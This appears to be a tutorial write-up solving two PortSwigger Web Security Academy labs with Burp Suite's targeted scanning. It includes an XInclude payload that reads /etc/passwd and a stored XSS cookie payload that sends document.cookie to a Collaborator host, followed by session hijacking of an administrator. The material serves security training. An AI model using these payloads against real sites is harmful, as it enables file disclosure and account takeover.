Practitioner · updated

Essential skills

PortSwigger Web Security Academy · Practitioner

  • #Burp Suite

Discovering Vulnerabilities Quickly with Targeted Scanning

The vulnerability

You have ten minutes, so scanning the whole site takes too long. Scan only the requests that look interesting. Here the stock check turns out to be vulnerable to XInclude.

Fix: Switch off XInclude in the XML parser if you don’t need it.

The lab

Open the lab on PortSwigger

Resource

Lab Description

This lab contains a vulnerability that enables you to read arbitrary files from the server. To solve the lab, retrieve the contents of /etc/passwd within 10 minutes.

Due to the tight time limit, we recommend using Burp Scanner to help you. You can obviously scan the entire site to identify the vulnerability, but this might not leave you enough time to solve the lab. Instead, use your intuition to identify endpoints that are likely to be vulnerable, then try running a targeted scan on a specific request. Once Burp Scanner has identified an attack vector, you can use your own expertise to find a way to exploit it.

Solution

1. Browse the Website and Identify Key Features: Navigate the application to identify potential areas of interest. The “check stock” feature, which takes user input for product details, is a good candidate for injection.

2. Perform a Targeted Active Scan: In Burp Suite, go to Proxy → HTTP history. Find the POST /product/stock request and right-click to select "Do active scan."

3. Look at Scan Results: After a short time, the active scan will identify an XML injection vulnerability. The details of the finding will indicate that the vulnerability is of type XInclude.

4. Create and Exploit the Payload: Send the POST /product/stock request to Repeater. Based on the vulnerability type, insert an XInclude payload into the productId parameter. Use a payload designed to get the contents of /etc/passwd.

  1. The full payload, including the XInclude declaration, should look like this: productId=<clawhak xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></clawhak>&storeId=1.

  2. Send the modified request. The response will contain the full content of the /etc/passwd file, which stops the lab's timer and solves it.

Scanning Non-Standard Data Structures

The vulnerability

The session cookie contains the username and a token, separated by a colon. A normal scan treats it as one value. If you scan only the username, Burp finds a stored XSS.

Fix: Encode output everywhere, also for values that come from a cookie.

The lab

Open the lab on PortSwigger

This lab contains a vulnerability that is difficult to find manually. It is located in a non-standard data structure.

To solve the lab, use Burp Scanner’s Scan selected insertion point feature to identify the vulnerability, then manually exploit it and delete carlos.

You can log in to your own account with the following credentials: wiener:peter

Solution

1. Log In and Identify the Data Structure: Log in to the application using the credentials wiener:peter. In Burp Suite's Proxy → HTTP history, find the GET /my-account?id=wiener request. Look at the session cookie, which is split into two parts by a colon (e.g., wiener:SECOND_PART_COOKIE).

2. Perform a Targeted Scan: In the GET /my-account?id=wiener request window, highlight the wiener portion of the cookie. Right-click and select "Scan selected insertion point."

3. Look at Scan Results: The Burp Dashboard will show a new finding: a Cross-site scripting (stored) vulnerability in the highlighted insertion point.

4. Create an XSS Exploit: Go back to the GET /my-account?id=wiener request and send it to Repeater. Replace the wiener portion of the cookie with an XSS payload designed to steal a user's cookie. This payload will send the stolen cookie to Burp Collaborator.

[...] 
Cookie: session='"><svg/onload=fetch(`//COLLABORATOR_URL/${encodeURIComponent(document.cookie)}`)>:SECOND_PART_COOKIE 
[...]
  1. Replace COLLABORATOR_URL with your unique Collaborator URL.

6. Execute the Exploit: Send the request. The application will store the XSS payload. When the administrator visits a page that displays this payload, a callback will be sent to your Collaborator URL, containing the administrator’s session cookie.

7. Use the Stolen Cookie to Bypass Authentication: Copy the stolen administrator cookie from the Collaborator client. In your web browser, use a browser extension like “Cookie Editor” to replace your current session cookie with the stolen one. Refresh the page. You will now be logged in as the administrator and have access to the admin panel.

8. Delete the Target User: Go to the URL for deleting the user carlos to solve the lab.